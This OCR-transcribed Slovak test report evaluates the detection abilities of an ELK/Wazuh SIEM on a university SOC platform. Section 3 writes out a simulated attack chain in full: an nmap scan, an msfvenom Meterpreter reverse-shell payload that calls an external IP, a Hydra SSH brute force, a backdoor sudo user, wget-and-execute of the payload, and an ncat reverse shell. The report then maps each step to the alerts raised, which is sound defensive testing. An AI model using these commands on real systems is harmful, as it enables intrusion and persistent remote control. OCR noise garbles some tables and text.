testovanie bezpec€nostnej konfiguracie su predmetom testovania v neskorsich etapach.

Zaver: Test preukazal, ze bezpecnostna konfiguracia ELK Stacku je v prostredi PoC korektne
implementovana — komunikacia je Sifrovana, pristup riadeny na zaklade roli, citlivé udaje
chranené pomocou keystore a sietovy pristup obmedzeny firewall pravidlami. Reten¢na
politika zabezpecCuje efektivny Zivotny cyklus dat a monitorovanie potvrdzuje prevadzkovu
stabilitu. Tym bola potvrdena bezpecnostna a prevadzkova pripravenost ELK Stacku ako
SIEM rieSenia v ramci SOCaasS platformy INNOSOC.
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2.4 Suhrnné hodnotenie ELK Stack (SIEM)

Identifikator ‘ Nazov testu Typ testu Overovana oblast’ Vyhodnotenie

Elasticsearch cluster (7 uzlov),

Overenie nasadenia a . Logstash  pipeline, Kibana .
TS-ELK-01 dostupnosti ELK Stacku Funkcny test rozhranie, vzajomna Spinené
komunikacia
boevzegzglneostn;;uagg?olz Discover, dashboardy (IDS
TS-ELK-02 analytickych Funkény test DMZ, Login Activity, Zatazenie | Splnené
d Stacku), Spaces
ashboardov

Overenie bezpecnostnej
TS-ELK-03 konfiguracie, retencnej | Funkény test
politiky a monitorovania

TLS, RBAC, keystore, ILM,

Stack Monitoring, audit logging Spinené
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3 TESTOVANIE DETEKCIE INCIDENTOV V ELK

POMOCOU SIMULOVANEHO UTOKU CYBER
KILLCHAIN

V ramci testovania detekcnych pravidiel bol realizovany simulovany utok, oznaCovany
aj ako emulacia protivnika (adversary emulation). Tento pristup simuluje spravanie uto¢nika
na zaklade znamych technik a postupov vyuzivanych napriklad skupinami typu APT.

Pri navrhu scendra sme vyuzZili poznatky z frameworku MITRE ATT&CK, ktory
poskytuje prehlad technik a taktik utocnikov na zaklade realnych incidentov. Simulovany utok
vSak nie je viazany na konkrétny scenar z tohto frameworku, ale je mapovany na jednotlivé
fazy modelu Cyber Kill Chain.

Cyber Kill Chain predstavuje model popisujuci Zivotny cyklus kybernetického utoku a
sluzi ako nastroj pre jeho detekciu a analyzu. Model zahffia nasledujuce fazy:

prieskum (Reconnaissance)

zbrojenie (Weaponization)

dorucenie (Delivery)

zneuzitie (Exploitation)

inStalacia (Installation)

ovladanie a riadenie (Command and Control)
akcie na ciel (Actions on Objective)

Jednotlivé fazy reprezentuju postup uto€nika od ziskavania informacii o ciefovom
systéme, cez jeho kompromitaciu az po dosiahnutie finalneho ciela, napriklad ziskanie dat
alebo naruSenie dostupnosti systému.

Exploitation

Command &
Control

Weaponization

Recon Deliilery Installation Actions on
Objectives

Cyber kill chain

3.1 Testovacia infrastruktura

Testovanie je zamerané na jedno zariadenie, ktoré predstavuje ciel utoku a zaroven
zabezpecuje odosielanie logov do SIEM prostrednictvom nastroja Auditbeat. Pre dosiahnutie
realistickych vysledkov je zariadenie pripojené do podsiete, v ktorej sa nachadzaju aj ostatné
monitorované zariadenia.
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Je zabezpecfené oddelenie testovacich dat na dvoch urovniach:

¢ na logickej urovni pomocou samostatného priestoru (space) v kibane ,Testing“,
e na urovni indexov pomocou separatnej Sablony ,auditbeat-testing®.

Logické oddelenie umoZhuje izolované spracovanie bezpe€nostnych upozorneni,
zatial ¢o samostatna index Sabléna poskytuje moznost uprav pri nastavovani politiky
uchovavania dat (ILM) aj ich vizualizaciu.

Testovacie zariadenie s operatnym systémom Ubuntu 24.04.2 LTS ma IP adresu
192.168.2.187 a sluzi ako obet utokov a teda aj ako zdroj dat pre overovanie detekénych
mechanizmov.

3.2 Popis scenara

Jednym z predpokladov je pristup uto¢nika do univerzitnej siete, ktory je mozné ziskat
napriklad prostrednictvom univerzitnych WiFi sieti, internatnej siete,laboratérii FRI UNIZA
alebo VPN pripojenia.

V ramci testovania je vyuzité pripojenie z laboratéria FRI UNIZA. Nasledne je
realizovana faza prieskumu, pocas ktorej je vykonané skenovanie siete pomocou nastroja
Zenmap.

nmap -p 1-65535 -T5 -A -v -Pn --unprivileged --script=default,vuln,auth,malware,exploit
192.168.XXX.XXX

Vykonany sken je zamerany na konkrétnu IP adresu testovacieho zariadenia
192.168.2.178. Skenovanie celej podsiete nie je realizované s cielom minimalizovat dopad na
ostatnu infrastruktaru.

Nmap Output Ports / Hosts Topology Host Details Scans
8 22 tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
8 2000 tcp open cisco-sccp
8 5060 tcp open sip

Zenmap vystup

Presli sme na fazu zbrojenie. Ako mdzZeme vidiet' z obrazka nasa obet, testovaci stroj,
pouziva operacny systém Ubuntu. Vytvorili sme si payload pre reverseshell pomocou nastroja
msfvenom:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=18.209.66.222 LPORT=4444
-f elf -o revshell.elf

Pre vytvorenie reverzného shellu je pouzity payload typu TCP ur€eny pre operacny
systéem Linux. Payload sa pripaja na IP adresu 18.209.66.222 na porte 4444, ktory je
predvoleny pre nastroj Meterpreter. Vysledny subor ma nazov revshell.elf a predstavuje
spustitelny format ELF pre Linux.

Cielova IP adresa sa nachadza mimo univerzitného rozsahu a patri EC2 inStancii v
prostredi AWS, ktora je vyuzita ako utoCnicke zariadenie za uc€elom zvysSenia realistickosti
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scenara. Komunikacia preto prechadza firewallom ako odchadzajuca prevadzka z internej
siete smerom do externého prostredia.

Faza dorucenia nie je v tomto scenari realizovana. Vo faze zneuZitia (Exploitation) je
vyuZzity otvoreny port sluzby SSH, na ktory je nasledne vedeny utok hrubou silou pomocou
nastroja Hydra.

hydra -l ubuntu -P hesla.txt -t 4 -f ssh://192.168.2.178

Vo faze prieskumu je identifikovany operacny systém Ubuntu, na zaklade ¢oho je pri
utoku hrubou silou v nastroji Hydra zvolené pouZivatelské meno ubuntu. Tento pristup
reflektuje bezné spravanie uto€nikov, ktori vyuzivaju generické prihlasovacie mena.

Zoznam hesiel je pouzity zo slovnika hesla.txt, pri€om prihlasovacie udaje testovacieho
zariadenia su nastaveneé tak, aby zodpovedali tomuto slovniku.

Mézeme vidiet, Ze utok hrubou silou bol uUspeSny a prihlasovacie udaje su
ubuntu:ubuntuubuntu. Prihlasili sme sa pomocou ziskanych prihlasovacich udajov cez SSH
na dany stroj a zadali niekolko prikazov:

id
cat /etc/passwd
cat /etc/sudoers

Po ziskani pristupu su zistované opravnenia pouZzivatefa ubuntu a vykonané zakladné
prikazy na zistenie informacii o systéme a pouzivateloch vratane konfiguracie sudo. Nasledne
je v ramci fazy inStalacie vytvoreny novy pouzivatel s administratorskymi pravami za uc¢elom
zabezpecenia perzistencie.

adduser system
usermod -aG sudo system

Pre novovytvoreného pouzivatefa je zvolené generické meno system, ktoré moéze
pbsobit’ legitimne pre uzivatela. Nasleduje prihlasenie pod tymto u¢tom a v ramci fazy
inStalacie je stiahnuty a spusteny payload reverzného shellu.

wget htip://18.209.66.222:88/revshell.elf -O systemfile.elf && chmod +x systemfile.elf
Isystemfile.elf

V Case stahovania a spustania payloadu je na uto¢nickom zariadeni v prostredi
OpenStack spusteny nastroj msfconsole a zaroven jednoduchy HTTP server dostupny na
porte 88, z ktorého je payload poskytovany.

msfconsole

use exploit/multi/handler

set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0

set LPORT 4444

run

python3 -m http.server 88
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Dalej sme presli na fazu ovladanie a riadenie. V ramci tejto fazy sme komunikovali s

napadnutym zariadenim cez nas reverseshell. Ako prvé sme zadali prikaz shell, ktory otvori
shell napadnutého zariadenia, ako mdézeme vidiet na obrazku.

Pokracovali sme vytvorenim zaloZzného reverseshell pomocou nastroja netcat:
ncat 18.209.66.222 8080 -e /bin/bash

Tento reverseshell sa pripajal na stroj utoénika, na port 8080. To znamena, Ze na stroji,
ktory sluzil ako utoCnik eSte pred zadanim prikazu vySSie, musel byt vytvoreny listener:

nc -lvnp 8080

Finalna faza akcie na ciel obsahovala stiahnutie nastroja nmap, na kompromitovanom
zariadeni, a nasledné spustenie skenovania sluzieb http, https, rdp a ssh. Skenovanie bolo
vykonané pre podsiet, v ktorej sa kompromitovany stroj nachadzal.

apt install nmap -y
ipa
nmap 192.168.2.0/24 -p 22,80,443,3389

3.3 Vyhodnotenie detekcie nasadeného SIEM ELK

Cielom tejto Casti je vyhodnotit schopnost’ detekcie nasadeného SIEM rieSenia voci
simulovanému utoku. Realizaciou utoku su generované bezpeénostné upozornenia na
zaklade analyzovanych udalosti v systéme.

Vyvolané upozornenia:

SIGMA - Linux Network Service Scanning - Auditd
SIGMA - Creation Of An User Account

SIGMA - Privileged User Has Been Created
SIGMA - System Owner or User Discovery — Linux
ET SCAN Potential SSH Scan

SIGMA - Potential Netcat Reverse Shell Execution
ET SCAN Suspicious inbound to Oracle SQL port 1521
SIGMA - Cat Sudoers

ET SCAN Potential VNC Scan 5800-5820

ET SCAN Suspicious inbound to mySQL port 3306
Linux User Added to Privileged Group

SIGMA - Suspicious Activity in Shell Commands
Password Guessing Linux

Potential Success Bruteforce Linux

Vacsina bezpe€nostnych upozorneni ktoré zaznamenalo SIEM ELK rieSenie sa viaze
s monitorovanim koncového zariadenia. Av8ak medzi upozorneniami sa nachadzaju aj
upozornenia z IDS nastroja Suricata.
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Pre spravne vyhodnotenie schopnosti detekcie implementovaného SIEM rieSenia je
nutné vyvolané upozornenia klasifikovat do faz modelu Cyber Kill Chain. Podla ¢asti Priebeh
utoku sme pri emulacii spravania utoCnika ako prvé aktivnhe skenovali siet. Tuto aktivitu
vyhodnotila IDS sonda Suricata ako podozrivu a vytvorila upozornenia:

e ET SCAN Suspicious inbound to Oracle SQL port 1521
e ET SCAN Potential VNC Scan 5800-5820
e ET SCAN Suspicious inbound to mySQL port 3306

Z nazvu jednotlivych pravidiel je jasné, ktoru aktivitu a na ktorych portoch Suricata
vyhodnotila ako podozrivu. Faza prieskumu bola detegovana Styrmi pravidlami IDS nastroja.
Faza zbrojenia pozostava z pripravy payload. Z toho vyplyva, Ze tato faza nie je detekovatelna.
Taktiez fazu doruc€enia, ktoru simulovany utok neobsahuje, neméze nastroj SIEM detegovat.
Vo faze vyuzitie zranitelnosti bol realizovany utok hrubou silou. Akcia vyvolala bezpe¢nostné
upozornenia vytvorené IDS nastrojom a na zaklade pravidiel, ktoré sme vytvorili pre
detegovanie utoku hrubou silou:

e ET SCAN Potential SSH Scan
e Password Guessing Linux
e Potential Success Bruteforce Linux

VAl

Bezpecnostné upozornenie, ktoré SIEM vytvoril na zaklade upozornenia z IDS, indikuje
skenovanie SSH sluzby, nie utok hrubou silou na tuto sluzbu. Takato reakcia nie je idealna.
Utok hrubou silou je zavaznejsi ako vykonavanie skenovania. Utok predstavuje aktivnu snahu
o preniknutie do systému, ale pri skenovani ide o zber informacii. Prikazy ktoré boli zadané
uto¢nikom po uspesSnom vykonani utoku hrubou silou upozornuju na zistovanie informacii o
pouzivateloch systému:

e SIGMA - System Owner or User Discovery — Linux
e SIGMA - Cat Sudoers

Vo faze instalacie sme ako prveé vytvorili pouzivatela a zvysili mu opravnenia:

e SIGMA - Creation Of An User Account
e SIGMA - Privileged User Has Been Created
e Linux User Added to Privileged Group

Detekcia vytvorenia pouZivatela so zvy$enymi opravneniami je jasne viditelna. Dalej
sme stiahli a spustili reverseshell vygenerovany pomocou nastroja msfvenom. Metasploit
Framework je lahko dostupny nastroj pre Cerveny tym v oblasti kybernetickej bezpecénosti.
Tento ramec obsahuje rézne nastroje, msfvenom je jednym z nich. Absencia detekcie
reverseshell, ktory bol vytvoreny prave takymto generickym nastrojom je kriticka. Vo faze
ovladanie a riadenie sme pustili reverseshell pomocou nastroja netcat:

e SIGMA - Linux Network Service Scanning - Auditd
e SIGMA - Potential Netcat Reverse Shell Execution

Takato akcia vyvolala aj pravidlo s kritickou zavaznostou. Finalna faza akcie na ciel sa
zamerala na spustenie sietového skenu, ktorému predchadzala instalacia nastroja nmap:

e SIGMA - Suspicious Activity in Shell Commands
e SIGMA - Linux Network Service Scanning - Auditd

Ako je viditelné rézne akcie moézu vyvolat rovnaké bezpecnostné upozornenie. Toto
spravanie je uplne v poriadku, hibSia analyza potencionalneho incidentu odhali pre€o dané
upozornenie bolo vytvorené, v pripade nami vykonaného simulovaného utoku staci porovnat
nazvy procesov, ktoré vyvolali rovnaké upozornenie.
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V tejto €asti sme ukazali, Ze simulovany utok je pomerne dobre detekovatelny, aj ked

je tam isty priestor na vylepSenia. V tabulke 3 je sumarizacia aktivit a vyvolanych
bezpecnostnych upozorneni.

Aktivita Bezpecnostné upozornenie
ET SCAN Suspicious inbound to Oracle SQL port 1521
Aktivne skenovanie ET SCAN Potential VNC Scan 5800-5820

ET SCAN Suspicious inbound to mySQL port 3306
ET SCAN Potential SSH Scan

Bruteforce Password Guessing Linux

Potential Success Bruteforce Linux
Vytvorenie SIGMA - Creation Of An User Account
privilegovaného SIGMA - Privileged User Has Been Created
pouzivatela.

Linux User Added to Privileged Group

Zobrazenie informéaciio | SIGMA - Cat Sudoers

pouzivateloch systému SIGMA - System Owner or User Discovery — Linux
SIGMA - Linux Network Service Scanning - Auditd
SIGMA - Potential Netcat Reverse Shell Execution
SIGMA - Suspicious Activity in Shell Commands

SIGMA - Linux Network Service Scanning - Auditd
Simulovany utok, detekcie

netcat reverseshell

Spustenie nastroja nmap.

3.4 Suahrn testovania

Identifikator ‘ Nazov testu Typ testu Overovana oblast’ Vyhodnotenie
Nasadenie testovacej
Priprava infrastruktary — izolacia v Kibana
TS-CKC-01 testovacej Simulacény test §p§|c’e »Testing’, sg'?s ra’;nta T de:( Splnené
infrastruktary sa pna ~auaitbea -.es Ing’,
Auditbeat agent na ciefovom
Ubuntu stroji
Fazy utoku: prieskum
Realizacia (Zenmap/nmap), zbrojenie

simulovaného (msfvenom), zneuzitie (Hydra

TS-CKC-02 . ; Simulacny test brute-force SSH), instalacia (novy | Splnené
Utoku podfa Cyber A
. . admin ucet, reverse shell), C2
Kill Chain : DAY
(ncat), akcie na ciel (sietovy sken
kompromitovanym strojom)
Detekéné schopnosti ELK -
vyvolané SIGMA pravidla
VVyhodnotenie (Network Service Scanning, User
detekcie . . Account  Creation, Privileged P
TS-CKC-03 nasadeného SIEM Simulacny test User, Netcat Reverse Shell, Cat Spinené
ELK Sudoers, Password Guessing a
dalSie), generovanie security
alertov
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4 AUTOMATICKE TESTOVANIE DETEKCNYCH
PRAVIDIEL V ELK POMOCOU ATOMIC RED TEAM

4.1 Popis testovacieho scenara

V ramci testovania su identifikované relevantné MITRE ATT&CK techniky a
podtechniky na zaklade parametra uvedeného v definiciach detekénych pravidiel. Nasledne
su z kniznice Atomic Red Team vybrané testy zodpovedajuce tymto technikam pre platformu
Linux.

Pre niektoré techniky sice existuju detekéné pravidla v SIEM rieSeni, avSak nie su pre
ne dostupné vhodné testy. Zaroven dostupné testy nepokryvaju vSetky mozné scenare.

4.2 \Vysledky testovania

Pocas spustania testov nebolo mozné v3etky prerekvizity nainStalovat alebo Casti testu
skoncili s chybovym kédom. Z tohto dévodu nemozno vSetky testy povaZzovat za relevantné.
Vysledky testov sme zobrazili v tabulke nizSie.

Uspesne Vsetky &asti
Detekéné pravidlo Technika nainstalované testu prebehli Detekcia
prerekvizity uspesne
1069.001 ano ano ano
. . . 1069.002 ano ano ano
Account or Group Discovery via Built-In Tools 1087001 ano ano ano
1087.002 ano ano ano
. 1070.002 ano nie nie
Attempt to Clear Kernel Ring Buffer 1562 001 ano nie nie
Attempt to Disable Syslog Service 1562.001 ano nie nie
. . . 1027 ano ano nie
Base16 or Base32 Encoding/Decoding Activity 1140 ano nie nie
Bash Shell Profile Modification 1546.004 ano ano nie
1542 Test neexistuje
. 1543 Test neexistuje
e (A (T 1574 Test neexistuje
1059.004 ano | nie | nie
Discovery of Domain Groups 1069 Test neexistuje
EggShell Backdoor Execution 1059.006 ano | nie | nie
ESXI Discovery via Find 1518 Test neexistuje
ESXI Discovery via Grep 1518 Test neexistuje
ESXI Timestomping using Touch Command 1070.006 ano ano nie
File made Immutable by Chattr 1222.002 ano nie nie
Hidden Files and Directories via Hidden Flag 1564.001 ano ano nie
High Number of Process Terminations 1489 ano nie nie
Hosts File Modified 1565.001 Test neexistuje
Hping Process Activity 1082 ano | nie | nie
1542 Test neexistuje
Initramfs Extraction via CPIO 1543 Test neexistuje
1574 Test neexistuje
1542 Test neexistuje
. . . . 1543 Test neexistuje
Initramfs Unpacking via unmkinitramfs 1574 Test neexistuje
1059.004 ano | nie | nie
Interactive Terminal Spawned via Perl 1059 Test neexistuje
. 1014 nie ano nie
Kernel Driver Load 1547.006 ano ano nie
. 1611 Test neexistuje
Kernel Load or Unload via Kexec Detected 1547 006 ano | ano | e
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1601.001 Test neexistuje
Kernel Module Load via insmod 1547.006 ano nie nie
Linux Clipboard Activity Detected 1115 ano nie nie
Linux Process Hooking via GDB 1003.007 ano ano nie
Linux System Information Discovery 1082 ano nie ano
Linux System Information Discovery via Getconf 1082 ano nie ano
Linux User Added to Privileged Group 1136.001 ano nie nie
Masquerading Space After Filename 1036.006 Test neexistuje
MoQ|f|cat|on of Dynamic Linker Preload Shared 1574006 ano ano nie
Object
Modification of Standard Authentication Module 1543 Test neexistuje
or Configuration 1556 Test neexistuje
Namespace Manipulation Using Unshare 1543 Test neexistuje
Nping Process Activity 1046 ano nie nie
OpenSSL Password Hash Generation 1136.001 ano nie nie
Potential Buffer Overflow Attack Detected 1068 Test neex!stu!e
1190 Test neexistuje
Potential Cookies Theft via Browser Debugging 1539 Test neexistuje
Potential Disabling of AppArmor 1562.001 ano nie nie
Potential Disabling of SELinux 1562.001 ano nie ano
Potential Linux Backdoor User Account Creation 1136.001 ano nie nie
. 1059.004 ano nie nie
Potential Meterpreter Reverse Shell 1071 Tost neexistuje
Pote.n.tlal .Pr|V|Iege Escalation via Sudoers File 1548.003 ano nie nie
Modification
Potential Process Name Stomping with Prctl 1036.005 ano ano nie
Potential Protocol Tunneling via EarthWorm 1572 nie ano nie
Potential Reverse Shell via UDP 1059.004 ano me L e
1071 Test neexistuje
1021.004 Test neexistuje
Potential SSH-IT SSH Worm Downloaded 1563.001 Test neexistuje
Potential Successful Linux RDP Brute Force 1110.001 Test neexistuje
Attack Detected 1110.003 Test neexistuje
zgﬁzrjglilzggdo Privilege Escalation via CVE- 1068 Test neexistuje
Potential Unauthorized Access via Wildcard 1068
Injection Detected 1003.008 ano ano nie
Process Started from Process ID (PID) File 1059
Processes with Trailing Spaces 1036.006 ano ano ano
ProxyChains Activity 1572 nie ano nie
SIGMA - Cat Sudoers 1592.004
SIGMA - Creation Of An User Account 1136.001 ano nie ano
SIGMA - Linux Network Service Scanning - 1046 ano nie ano
Auditd
SIGMA - Potential Netcat Reverse Shell
Execution 1059
SIGMA - Privileged User Has Been Created 1136.001 ano nie ano
SIGMA - Suspicious Activity in Shell Commands 1059.004 ano nie ano
SIGMA - System Owner or User Discovery - 1033 . . .
Linux ano ano nie
1098.004 ano ano nie
SSH Authorized Keys File Modification 1021.004 Test neexistuje
1563.001 Test neexistuje
Sudo Heap-Based Buffer Overflow Attempt 1068 Test neexistuje
Sudoers File Modification 1548.003 ano nie nie
SUID/SGID Bit Set 1548.001 ano ano nie
Suspicious Dynamic Linker Discovery via od 1057 ano ano nie
Suspicious Modprobe File Event 1082 ano nie nie
Suspicious Network Activity to the Internet by 1071 Test neexistuje
Previously Unknown Executable
Susp|0|ou§ Proc Pseudo File System 1082 ano nie nie
Enumeration
Suspicious Sysctl File Event 1082 ano nie nie
Suspicious Utility Launched via ProxyChains 1572 nie ano nie
URAD VLADY
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System Log File Deletion 1070.002 ano nie nie
. . 1033 ano ano nie

System Owner/User Discovery Linux 1069 ano nie Ao
Tampering of Shell Command-Line History 1070.003 ano nie nie
Timestomping using Touch Command 1070.006 ano ano nie
Trap Signals Execution 1546 Test neexistuje
Unix Socket Connection 1559 Test neexistuje
Unknown Execution of Binary with RWX . .
Memory Region 1059.004 ano nie
User or Group Creation/Modification 1136.001 ano nie nie
Virtual Machine Fingerprinting 1082 ano nie nie
Virtual Machine Fingerprinting via Grep 1082 ano nie nie
WebServer Access Logs Deleted 1070 Test neexistuje
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4.3 Suhrn testovania

BRAIN:IT

Identifikator ‘ Nazov testu ‘ Typ testu Overovana oblast’ Vyhodnotenie
Popis a Identifikacia MITRE ATT&CK
realizacia technik z detekénych pravidiel,
TS-ART-01 testoyameho Automatizovany vy.bver. zodpovgdeuumch testov z Spinené
scenara test kniznice Atomic Red Team pre
Atomic Red platformu Linux, automatické
Team spustanie testov
Vyhodnotenie prerekvizit,
Vyhodnotenie Uspesnosti testov a detekcie |
TS-ART-02 vysledkov Automatizovany ELK pre jednotlivé MITRE | Ciastocne
automatického | test ATT&CK techniky; identifikacia | splnené
testovania pravidiel bez testov a testov s
chybovymi kodmi
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5 MANUALNE TESTOVANIE KORELACNYCH PRAVIDIEL
V KIBANE

Testovanie korelacnych pravidiel prebehlo mimo prostredia Atomic Red Team, kedze
tento nastroj neposkytuje vhodné scenare pre ich overenie. V pripade nastroja Greenbone je
testovanie vykonané prostrednictvom simulacie neuspesnych prihlasovani, pricom su
overované rozne scendare zadavania nespravneho hesla v definovanom ¢asovom intervale.

Overuje sa spravanie systému pri prekroCeni stanoveného limitu neuspeSnych
pokusov, ako aj pri jeho nedosiahnuti. Vysledky potvrdzuju spravnu funkcionalitu pravidiel,
kedZze bezpelnostné upozornenia su generované v sulade s oCakavanym spravanim.
Rovnaky pristup testovania je aplikovany aj na korelaéné pravidla pre systémy Linux a nastroj
Kibana.

5.1 Suhrn testovania

Identifikator ‘ Nazov testu Typ testu Overovana oblast’ Vyhodnotenie
Overenie korelaénych pravidiel
Testovanie simulaciou neuspesnych
korelaénych prihlaseni pre Greenbone, Linux
TS-KOR-01 pravidiel Manualny test systemy a Kibanu; overenie Splnené
(Greenbone generovania alertov pri
Linux Kiban’a) prekroéeni/nedosiahnuti limitu
’ pokusov v definovanom ¢asovom
intervale
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6 TESTOVANIE ZATAZENIA NASADENEHO SYSTEMU
ELK STACK

V tomto testovacom scenari sme sa zamerali na vyuZitie operacnej pamate
komponentov nasadeného ELK stacku (Elasticsearch uzly, Logstash, Kibana). Monitorovanie
je realizované pomocou nastroja Metricbeat.

Pre zobrazenie priemernej zataze v Case je vytvoreny vlastny dashboard ,ZataZenie
Stacku®, ktory prezentuje udaje za obdobie Siestich dni. Vysledky ukazuju efektivne vyuzitie
pamate bez vzniku pretazenia a zaroven dostatoénu rezervu pre budlce rozSirenie
infrastruktury (napr. prechod na 10 GB infrastruktaru).

Elasticsearch

) Master! 6.03GB  Hon 9.98GB Moz 11.44GB wo3 10.98GB
¥
Warm1 8.80GB warm2 4.50GB con 2.91G8

T e Il |

Dashboard Zatazenie Stacku, Elasticsearch

Kibana

=
<
4

Kibana 456.81MB

@timestamp per 3 hours

Dashboard ZataZenie Stacku, Kibana
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7 TESTOVANIE DETEKCIE INCIDENTOV V NASTROJI
WAZUH

V nastroji Wazuh vidime vSetky udalosti, ktoré sa na monitorovanom koncovom
zariadeni udiali. Udalosti maju prideleny level zavaznosti, od 1 po 15, pricom 1 je oznacenie
najmenej zavazného incidentu, resp. udalosti (napriklad uspesné prihlasenie), 15 je oznacenie
najzavaznejSieho incidentu (napriklad detekcia rootkitu alebo pokus o eskalaciu prav).

7.1 Zaznamenanie udalosti — incidentu

V sekcii Threat Hunting vidime vSetky zaznamenané udalosti, ¢as vyskytu (timestamp),
nazov agenta (agent.name), ich zakladny popis (rule.description), level zavaznosti (level.id)
a oznaCenie danej udalosti (rule.id).

@ timestamp v agent.name “ rule.description v rule.level ¥ rule.id ™
[@ Mar 30,2026 @ 02:01:41.9... monarc Log file rotated. 3 591
[@ Mar 29,2026 @ 12:56:26.4... monarc File deleted. 7 553
[@ Mar 29,2026 @ 12:56:26.4... monarc File deleted 7 553
[@ Mar 29,2026 @ 12:56:26.4... monarc File deleted. 7 553
[@ Mar 29, 2026 @ 12:56:24.0... monarc File added to the system. 5 554
[@ Mar 29,2026 @ 12:56:24.0... monarc File added to the system 5 554
[@ Mar29,2026 @ 12:56:23.9... monarc File added to the system. 5 554
[ Mar 29,2026 @ 01:01:29.1... monarc Log file rotated 3 591
[@ Mar 28,2026 @01:01:16.1... monarc Log file rotated. 3 591
[@ Mar27,2026 @ 01:01:03.1... monarc Log file rotated. 3 591
[@ Mar 26,2026 @ 11:55:59.4... monarc Integrity checksum changed. 7 550
[@ Mar 26,2026 @ 11:55:59.2... monarc Integrity checksum changed. 7 550
(@ Mar 26,2026 @ 11:55:58.6... monarc Integrity checksum changed. 7 550
[@ Mar 26,2026 @ 11:55:58.3... monarc Integrity checksum changed. 7 550
(@ Mar 26,2026 @ 11:55:57.8... monarc Integrity checksum changed. 7 550

7.2 Skenovanie zranitelnosti

V sekcii Vulnerability detection vidime prehlad zranitelnosti na monitorovanych
zariadeniach. Obsahuje zoznam chyb identifikovanych pomocou CVE identifikatorov, spolu s
ich zavaznostou uréenou podla systému CVSS. Zobrazuje, ktorych zariadeni sa tykaju, aké
konkrétne softvérové baliky a verzie su zranitelné, a tiez informacie o dostupnych opravach i
odporuc€anych aktualizaciach. Tieto udaje umoznuju rychlo identifikovat bezpecnostné rizika a
efektivne planovat ich odstranenie.
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agent.na.. -~ package... -~ package.version ~  vulnerability.description ~ wvulnerability.seve... ~ vulnerability.id
@ monarc gnupg 2.2.27-3ubuntu2.5 In GnuPG through 2.4.8, if a signed message has \f ... Medium CVE-2025-68972
i monarc gnupg 2.2.27-3ubuntu2.5 GnuPG can be made to spin on a relatively small inp. Low CVE-2022-3219
@ monarc ibbinutils 2.38-4ubuntu2.12 The C++ symbol demangler routine in cplus-dem.c i... Medium CVE-2017-13716
‘0. monarc ibbinutils 2.38-4ubuntu2.12 GNU binutils gold gold v1.11-v1.16 (GNU binutils v2. Medium CVE-2019-1010204
monarc ibbinutils 2.38-4ubuntu2.12 GNU Binutils before 2.40 was discovered to contain Medium CVE-2022-48064
@@ monarc ibbinutils 2.38-4ubuntu2.12 A vulnerability classified as problematic has been fo... Low CVE-2025-1180
monarc ibbinutils 2.38-4ubuntu2.12 libiberty/rust-demangle.c in GNU GCC 11.2 allows s... Medium CVE-2022-27943
monarc ibbinutils 2.38-4ubuntu2.12 A vulnerability classified as problematic has been fo Low CVE-2025-1152
i3 monarc policykit-1 0.105-33 pkexec, when used with --user nonpriv, allows local .. High CVE-2016-2568
monarc php8.1-mysqgl  8.1.2-1ubuntu2.23 main/streams/xp_socket.c in PHP 7.x before 2017-0 High CVE-2017-7189
. monarc php8.1-opca... 8.1.2-1ubuntu2.23 main/streams/xp_socket.c in PHP 7.x before 2017-0 High CVE-2017-7189
‘0. monarc ibheif1 1.12.0-2build1 A vulnerability was identified in strukturag libheif up ... Low CVE-2026-3950
monarc ibheif1 1.12.0-2build1 libheif is an HEIF and AVIF file format decoder and e Medium CVE-2025-68431
@@ monarc ibheif1 1.12.0-2build1 libheif <= 1.17.6 contains a memory leak in the func High CVE-2024-25269
monarc ibheif 1 1.12.0-2build1 There is a vulnerability in the strided image data par. High CVE-2023-0996
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Vidime tu vSetky najdené zranitelnosti, nazov agenta (agent.name), meno zranitefného
suboru (package.name), ich zakladny popis (vulnerability.description), level zavaznosti
(vulnerability.severity) a ozna€enie danej zranitelnosti (vulnerability.id).

7.3 Configuration assessment

Configuration assessment sluzi na systematicku kontrolu a vyhodnotenie nastaveni
systémov, aplikacii alebo zariadeni. Jeho hlavnou ulohou je overit, &i konfiguracie su v sulade
so stanovenymi bezpe€nostnymi Standardmi, internymi pravidlami alebo normami ako ISO &i
CIS Benchmarks, a identifikovat potencialne rizika.

CIS UBUNTU LINUX 22.04 LTS BENCHMARK V1.0.0.

| CIS Ubuntu Linux 22.04 LTS Benchmark v1.0.0.
2
Passed Failed Not Score End scan
75 1 05 applicable 4,] ‘::3 Mar 30,
2 2026 @
12:54:57.000
Checks (182)  Refre %) Export formatted
Policy
CIS Uk 1 041TS wark v1.0 L
n page: 15 y D 1 Title Target Result
Comma
nd:
28500 Ensure findmnt o Failed
—-kernel
jtmp
Comma
nd:
28501 Ensure... finamnt o Falled

Pri hodnoteni modul prechadza aktualne nastavenia a zistuje napriklad slabé hesl3a,
nespravne priradené prava, otvorené porty Ci zastarané konfiguracie. Na zaklade zisteni
generuje upozornenia a ¢asto aj rizikove skore, ktoré pomaha organizaciam pochopit, ktoré
nastavenia predstavuju najvacsie ohrozenie.
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7.4 Inventar dat

V sekcii Inventory Data vidime prehlad vSetkych sledovanych systémov, zariadeni a
aplikacii v naSom prostredi. Dashboard zobrazuje jednotlivé poloZzky inventara spolu s ich
zakladnymi informaciami, ako su nazov zariadenia, typ, verzia softvéru, stav a priradené
bezpecnostné klasifikacie. Vidime tu aj, sietové rozhrania a IP adresy konkrétnych rozhrani,
beZiace procesy, nainstalovany softvér a jeho verzie.

Software  Network Processes (9) monarc (015) X [ Generate report
Cores Memory Arch Operating system cPU Host name Board senal
2 3907.96 MB x86.64 Ubuntu 22.04.5LTS (Jammy Jellyf... Intel(R) Xeon(R) CPU E5-2690 0 @ 2.90GHz monarc
Last scan

Mar 30, 2026 @ 22:17:51.000

Network Network ports
X C Refresh &) Export formatted C Refresh ¢y Export formatted
interfaces (1) (7)

Search waQL Search waL
Name T MAC State MTU Type Local port Local IP address Process PID State Protocol
eth0 c2:ad:0c:7¢:11:f0 up 1500 ethernet listeni

22 . sshd 819 tcpb
ng

Rows per page: 10 ~ <1 > listeni

22 0.0.0.0 sshd 819 tcp
ng
53 127.0.0.53 systemd- 1567
_ resplye 24 uap
Software Network Processes ¢) monarc (015) R [ Generate report
Cores Memory Arch Operating system cPU Host name Board serial
2 3907.96 MB x86_64 Ubuntu 22.04.5LTS (Jammy Jellyf... Intel(R) Xeon(R) CPU E5-2690 0 @ 2.90GHz monarc
Last scan
